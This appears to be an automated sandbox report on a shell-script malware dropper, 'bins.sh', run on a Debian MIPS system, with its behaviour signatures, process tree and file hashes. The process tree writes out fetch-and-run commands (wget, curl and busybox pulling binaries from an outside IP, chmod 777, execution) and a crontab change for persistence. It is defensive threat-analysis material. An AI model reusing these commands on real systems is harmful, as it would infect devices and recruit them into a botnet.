Analysis

  • max time kernel
    72s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    21-11-2024 06:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ed776e124eb62fb1ff51f657e9ccc15c

  • SHA1

    71dbd2838563234a9ba4946f2ef500d31b5867b8

  • SHA256

    63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b

  • SHA512

    ac23b13fb0488543bc69e5db98a8588dfe7ad2188bca5d74c5aaa70e00b9251acfceee0df3cb69b3074b591bfbf2b0ae8fd240f1399b47f78411542053a38600

  • SSDEEP

    192:OJMpj8JUmUOUEdUTUHUkN4SXlUmUOUEdUTUHUo8:OJMpj8JpN5dCyF4SXlpN5dCyo

Malware Config

Signatures

  • Contacts a large (1869) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:738
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:743
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:748
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:767
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Writes file to tmp directory
          PID:769
        • /bin/chmod
          chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • File and Directory Permissions Modification
          PID:770
        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Executes dropped EXE
          PID:771
        • /bin/rm
          rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
            PID:773
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:774
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:775
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Writes file to tmp directory
            PID:778
          • /bin/chmod
            chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • File and Directory Permissions Modification
            PID:785
          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Executes dropped EXE
            PID:786
          • /bin/rm
            rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
              PID:790
            • /usr/bin/wget
              wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:791
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:804
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Writes file to tmp directory
              PID:818
            • /bin/chmod
              chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • File and Directory Permissions Modification
              PID:827
            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Executes dropped EXE
              PID:828
            • /bin/rm
              rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
                PID:831
              • /usr/bin/wget
                wget http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:832
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:834
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Writes file to tmp directory
                PID:835
              • /bin/chmod
                chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • File and Directory Permissions Modification
                PID:836
              • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Executes dropped EXE
                PID:837
              • /bin/rm
                rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                  PID:839
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:840
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:841
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Writes file to tmp directory
                  PID:849
                • /bin/chmod
                  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • File and Directory Permissions Modification
                  PID:855
                • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Executes dropped EXE
                  PID:857
                • /bin/rm
                  rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                    PID:860
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Writes file to tmp directory
                    PID:861
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Writes file to tmp directory
                    PID:874
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Writes file to tmp directory
                    PID:879
                  • /bin/chmod
                    chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • File and Directory Permissions Modification
                    PID:880
                  • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                    • Executes dropped EXE
                    PID:881
                  • /bin/rm
                    rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                    2⤵
                      PID:883
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Writes file to tmp directory
                      PID:884
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Writes file to tmp directory
                      PID:885
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Writes file to tmp directory
                      PID:886
                    • /bin/chmod
                      chmod 777 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:887
                    • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      ./7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                      • Executes dropped EXE
                      PID:888
                    • /bin/rm
                      rm 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                      2⤵
                        PID:890
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Writes file to tmp directory
                        PID:891
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:895
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Writes file to tmp directory
                        PID:896
                      • /bin/chmod
                        chmod 777 Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • File and Directory Permissions Modification
                        PID:897
                      • /tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        ./Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:898
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:900
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:901
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:902
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:903
                            • /bin/rm
                              rm Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                              2⤵
                                PID:905
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/YCnuHC0u0DjgERQOBQlOAcckWPLnk2qNbu
                                2⤵
                                  PID:908

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /var/spool/cron/crontabs/tmp.wpId1n

                                Filesize

                                210B

                                MD5

                                3f27b928fa6dfc628a8c2ed35f09ad1b

                                SHA1

                                728abec3baac39ff4ca7ed52d91402031b0a4d66

                                SHA256

                                41a83184efdf9e10e88aa7e01fdf1ceebd6af3a16c805448bbab75c95b89f142

                                SHA512

                                36bdbd610347c99d9cd2e95f3df1fa35ea861701b521b56074ef447b879e4d8ed28fcf9c2b7837f4a47d58d61c0a677c931ceeb4a83621074dd0dae0cb39b91a